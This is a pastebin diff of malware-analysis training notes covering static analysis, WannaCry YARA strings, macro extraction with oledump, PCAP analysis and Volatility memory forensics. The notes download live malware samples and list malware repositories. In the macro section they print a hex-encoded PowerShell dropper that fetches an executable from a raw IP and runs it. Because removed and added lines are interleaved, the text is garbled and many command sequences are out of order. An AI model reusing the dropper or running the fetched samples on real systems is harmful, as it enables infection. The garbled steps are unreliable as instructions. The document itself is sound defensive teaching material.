View difference between Paste ID: vJBnV72Q and QXURDzmA

 ############################
 # Download the Analysis VM #
 ############################
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
+https://infosecaddictsfiles.blob.core.windows.net/vms/InfoSecAddictsVM.zip
 user: infosecaddicts
 pass: infosecaddicts
 
 
 
 
 - Log in to your Ubuntu system with the username 'malware' and the password 'malware'.
 
 - After logging please open a terminal window and type the following commands:
----------------------------Type This-----------------------------------
+
 cd Desktop/
------------------------------------------------------------------------
+
 
 - This is actual Malware (remmeber to run it in a VM - the password to extract it is 'infected':
 
----------------------------Type This-----------------------------------
+
 cd /home/infosecaddicts/Desktop/
-wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip --no-check-certificate
+wget https://infosecaddictsfiles.blob.core.windows.net/files/malware-password-is-infected.zip --no-check-certificate
-wget https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py --no-check-certificate
+wget https://infosecaddictsfiles.blob.core.windows.net/files/analyse_malware.py --no-check-certificate
 
 unzip malware-password-is-infected.zip
 	infected
 
 file malware.exe
 
 mv malware.exe malware.pdf
 
 file malware.pdf
 
 mv malware.pdf malware.exe
 
 hexdump -n 2 -C malware.exe
------------------------------------------------------------------------
+
 ***What is '4d 5a' or 'MZ'***
 Reference:
 http://www.garykessler.net/library/file_sigs.html
 
 
 objdump -x malware.exe
----------------------------Type This-----------------------------------
+
 strings malware.exe
 
 strings --all malware.exe | head -n 6
 
 strings malware.exe | grep -i dll
 
 strings malware.exe | grep -i library
 
 strings malware.exe | grep -i reg
 
 strings malware.exe | grep -i hkey
 
 strings malware.exe | grep -i hku
 
 							- We didn't see anything like HKLM, HKCU or other registry type stuff
------------------------------------------------------------------------
+
 strings malware.exe | grep -i irc
 
 strings malware.exe | grep -i join
----------------------------Type This-----------------------------------
+
 strings malware.exe | grep -i admin
 
 strings malware.exe | grep -i list
 
 
 							- List of IRC commands: https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
 
------------------------------------------------------------------------
+
      malware
 
 vi analyse_malware.py
----------------------------Type This-----------------------------------
+
 python analyse_malware.py malware.exe
 
 
 
 
 Building a Malware Scanner
------------------------------------------------------------------------
+
 
 mkdir ~/Desktop/malwarescanner
 
 cd ~/Desktop/malwarescanner
-################################
+
-# Good references for WannaCry #
+
-################################
+
 unzip master.zip
-References:
+
 cd malwarescanner-master/
-https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
+
-https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
+
-https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
+
 cat strings.txt
 
 cat hashes.txt
 
----------------------------Type This-----------------------------------
+
 
 cp ~/Desktop/malware.exe ~/Desktop/malcode
-wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
+
 python scanner.py -H hashes.txt -D /home/infosecaddicts/Desktop/malcode/ strings.txt
-unzip wannacry.zip
+
 cd ~/Desktop/
 
-file wannacry.exe
+
 
-mv wannacry.exe malware.pdf
+
 # Analyzing Macro Embedded Malware                  #
 # Reference:                                        #
 # https://jon.glass/analyzes-dridex-malware-p1/     #
-mv malware.pdf wannacry.exe
+
 cp ~/Desktop/
-hexdump -n 2 -C wannacry.exe
+
------------------------------------------------------------------------
+- Create a FREE account on:
 https://malwr.com/account/signup/
 
 - Grab the malware from:
 https://malwr.com/analysis/MzkzMTk3MzBlZGQ2NDRhY2IyNTc0MGI5MWQwNzEwZmQ/
-Reference:
+
 file ~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin
 
 cat ~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin
 
 
----------------------------Type This-----------------------------------
+
-objdump -x wannacry.exe
+
 sudo pip install olefile
-strings wannacry.exe
+
 
-strings --all wannacry.exe | head -n 6
+
 
-strings wannacry.exe | grep -i dll
+
 
-strings wannacry.exe | grep -i library
+
 
-strings wannacry.exe | grep -i reg
+
 
-strings wannacry.exe | grep -i key
+cp ~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin .
 
-strings wannacry.exe | grep -i rsa
+mv f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin 064016.doc
 
-strings wannacry.exe | grep -i open
+
 -----------------------------------------------------------------------------------------------------------------------------------
-strings wannacry.exe | grep -i get
+
 
-strings wannacry.exe | grep -i mutex
+
 sudo pip install olefile
-strings wannacry.exe | grep -i irc
+
 
-strings wannacry.exe | grep -i join
+
 
-strings wannacry.exe | grep -i admin
+
 
-strings wannacry.exe | grep -i list
+wget https://s3.amazonaws.com/StrategicSec-Files/MalwareAnalysis/064016.zip
------------------------------------------------------------------------
+
 unzip 064016.zip
      infected
 
 python oledump.py 064016.doc
 
 python oledump.py 064016.doc -s A4 -v
 
 - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
 - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
 
-Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
+
 python oledump.py 064016.doc -s A5 -v
-Quick Google search for "wannacry ransomeware analysis"
+
 - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
 
-Reference
+
-https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
+
 
-- Yara Rule -
+
 
 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
-Strings:
+
-$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
+
-$s2 = “Wanna Decryptor” wide ascii nocase
+
-$s3 = “.wcry” wide ascii nocase
+
-$s4 = “WANNACRY” wide ascii nocase
+
-$s5 = “WANACRY!” wide ascii nocase
+
-$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
+
 ##############
 # Yara Ninja #
 ##############
 sudo apt-get remove -y yara
      malware
 
 wget https://github.com/plusvic/yara/archive/v3.4.0.zip
 
-Ok, let's look for the individual strings
+
      malware
 
----------------------------Type This-----------------------------------
+
-strings wannacry.exe | grep -i ooops
+
 cd yara-3.4.0
-strings wannacry.exe | grep -i wanna
+
 ./bootstrap.sh
-strings wannacry.exe | grep -i wcry
+
 ./configure
-strings wannacry.exe | grep -i wannacry
+
 make
-strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
+
- -----------------------------------------------------------------------
+
 	malware
 
 yara -v
 
 cd ..
 
-####################################
+
-# Tired of GREP - let's try Python #
+
-####################################
+
-Decided to make my own script for this kind of stuff in the future. I
+
 cd ~/Desktop
-Reference1:
+
-https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
+
 
-This is a really good script for the basics of static analysis
+
 Places to get more Yara rules:
-Reference:
+
-https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
+
 https://github.com/kevthehermit/YaraRules
 https://github.com/VectraThreatLab/reyara
-This is really good for showing some good signatures to add to the Python script
+
 
 
-Here is my own script using the signatures (started this yesterday, but still needs work):
+
-https://pastebin.com/guxzCBmP
+
 https://github.com/mkayoh/yarasorter
 
 
----------------------------Type This-----------------------------------
+
-sudo apt install -y python-pefile
+
-     infosecaddicts
+
 cd ~/Desktop/
 yara rules-master/master.yar malcode/malware.exe
 
-wget https://pastebin.com/raw/guxzCBmP
+
 
 
-mv guxzCBmP am.py
+
 
 
-vi am.py
+
 
-python am.py wannacry.exe
+
- -----------------------------------------------------------------------
+
 http://derekmorton.name/files/malware_12-14-12.sql.bz2
 
 
 Malware Repositories:
 http://malshare.com/index.php
 http://www.malwareblacklist.com/
 http://www.virusign.com/
 http://virusshare.com/
 http://www.tekdefense.com/downloads/malware-samples/
 
----------------------------Type This-----------------------------------
+
 
 
 ###############################
 # Creating a Malware Database #
 ###############################
 
 Creating a malware database (sqlite)
 ------------------------------------
 sudo apt-get install -y python-simplejson python-simplejson-dbg
 	malware
 
 wget https://malwarecookbook.googlecode.com/svn/trunk/4/4/avsubmit.py
 wget wget https://infosecaddictsfiles.blob.core.windows.net/files/malware-password-is-infected.zip
 
 unzip malware-password-is-infected.zip
 	infected
 
 python avsubmit.py --init
 
 python avsubmit.py -f malware.exe -e
-python scanner.py -H hashes.txt -D ~/Desktop/malcode/ strings.txt
+
 
 
- -----------------------------------------------------------------------
+
 
 Creating a malware database (mysql)
 -----------------------------------
 - Step 1: Installing MySQL database
 - Run the following command in the terminal:
 
 sudo apt-get install mysql-server
----------------------------Type This-----------------------------------
+
 
 - Step 2: Installing Python MySQLdb module
 - Run the following command in the terminal:
 
-
+
      malware
 
 sudo apt-get install python-mysqldb
      malware
 
 Step 3: Logging in
 Run the following command in the terminal:
 
 mysql -u root -p					(set a password of 'malware')
-wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
+
 - Then create one database by running following command:
 
 create database malware;
 
 exit;
 
 wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
- -----------------------------------------------------------------------
+
 vi mal_to_db.py						(fill in database connection information)
 
 python mal_to_db.py -i
 
 ------- check it to see if the files table was created ------
 
----------------------------Type This-----------------------------------
+
 	malware
------------------------------------------------------------------------
+
 show databases;
 
 use malware;
----------------------------Type This-----------------------------------
+
 show tables;
 
 describe files;
 
 exit;
 
 ---------------------------------
 
 
 - Now add the malicious file to the DB
 
 python mal_to_db.py -f malware.exe -u
 
 
 
----------------------------Type This-----------------------------------
+
 
 mysql -u root -p
 	malware
 
 mysql> use malware;
 
 select id,md5,sha1,sha256,time FROM files;
 
 mysql> quit;
 
 
 
 
 
 #################
 # PCAP Analysis #
 #################
 cd /home/infosecaddicts/Desktop/Browser\ Forensics
 
 ls | grep pcap
 
 perl chaosreader.pl suspicious-time.pcap
 
 firefox index.html
 
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
 
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
 
 sudo tshark -i eth0 -r suspicious-time.pcap -qz io,phs
      malware
 
- -----------------------------------------------------------------------
+
 for i in session_00[0-9]*.www.html; do srcip=`cat "$i" | grep 'www:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'www:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u
 
 
 
 
 
 #############################
 # PCAP Analysis with tshark #
 #############################
 tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
 
 
 tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
 
----------------------------Type This-----------------------------------
+
 tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?'
 
 
 tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort | uniq
- -----------------------------------------------------------------------
+
 
 tshark -r suspicious-time.pcap -R "browser.command==1" -Tfields -e "ip.src" -e "browser.server" | uniq
 
 tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort |uniq
 
 tshark -r suspicious-time.pcap -qz ip_hosts,tree
 
 tshark -r suspicious-time.pcap -R "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
 
 tshark -r suspicious-time.pcap -R "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
 
 
 whois rapidshare.com.eyu32.ru
 
 whois sploitme.com.cn
 
 
 tshark -r suspicious-time.pcap -R http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
 
 tshark -r suspicious-time.pcap -R http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
 
 tshark -r suspicious-time.pcap -qz http_req,tree
 
 tshark -r suspicious-time.pcap -R "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
 
 tshark -r suspicious-time.pcap -R http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
 
 
----------------------------Type This-----------------------------------
+
 ######################################
 # PCAP Analysis with forensicPCAP.py #
 ######################################
-wget https://s3.amazonaws.com/infosecaddictsfiles/avsubmit.py
+
-wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip
+
 
 sudo easy_install cmd2
      malware
 
 python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
 
 ForPCAP >>> help
- -----------------------------------------------------------------------
+
 
 Prints stats about PCAP
 ForPCAP >>> stat
 
 
 Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
 ForPCAP >>> dns
 
----------------------------Type This-----------------------------------
+
 
 
 Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
 ForPCAP >>> dstports
 
----------------------------Type This-----------------------------------
+
 
 
 Prints the number of ip source and store them.
 ForPCAP >>> ipsrc
 
- -----------------------------------------------------------------------
+
 
 
 Prints the number of web's requests and store them
----------------------------Type This-----------------------------------
+
 
 ForPCAP >>> show
 
----------------------------Type This-----------------------------------
+
 ForPCAP >>> mail
 
 ForPCAP >>> show
 
 
 ###################
 # Memory Analysis #
 ###################
 cd /home/infosecaddicts/Desktop/Banking\ Troubles/Volatility
- -----------------------------------------------------------------------
+
 python volatility
 python volatility pslist -f ../hn_forensics.vmem
 python volatility connscan2 -f ../hn_forensics.vmem
 python volatility memdmp -p 888 -f ../hn_forensics.vmem
 python volatility memdmp -p 1752 -f ../hn_forensics.vmem
 				***Takes a few min***
 strings 1752.dmp | grep "^http://" | sort | uniq
 strings 1752.dmp | grep "Ahttps://" | uniq -u
 cd ..
 foremost -i ../Volatility/1752.dmp -t pdf -o output/pdf2
 cd /home/infosecaddicts/Desktop/Banking\ Troubles/foremost-1.5.7/output/pdf2/
 cat audit.txt
 cd pdf
 ls
 grep -i javascript *.pdf
 
 
 
 cd /home/infosecaddicts/Desktop/Banking\ Troubles/foremost-1.5.7/output/pdf5/pdf
 wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
----------------------------Type This-----------------------------------
+
 python pdf-parser.py -s javascript --raw 00600328.pdf
- -----------------------------------------------------------------------
+
 python pdf-parser.py --object 1054 --raw --filter 00600328.pdf > malicious.js
 
 cat malicious.js
----------------------------Type This-----------------------------------
+
 
 *****Sorry - no time to cover javascript de-obfuscation today*****
 
 
 cd /home/infosecaddicts/Desktop/Banking\ Troubles/Volatility/
 python volatility files -f ../hn_forensics.vmem > files
 cat files | less
 python volatility malfind -f ../hn_forensics.vmem -d out
-------------------------------------------------------------------------
+ls out/
 python volatility hivescan -f ../hn_forensics.vmem
 python volatility printkey -o 0xe1526748 -f ../hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon
 for file in $(ls *.dmp); do echo $file; strings $file | grep bankofamerica; done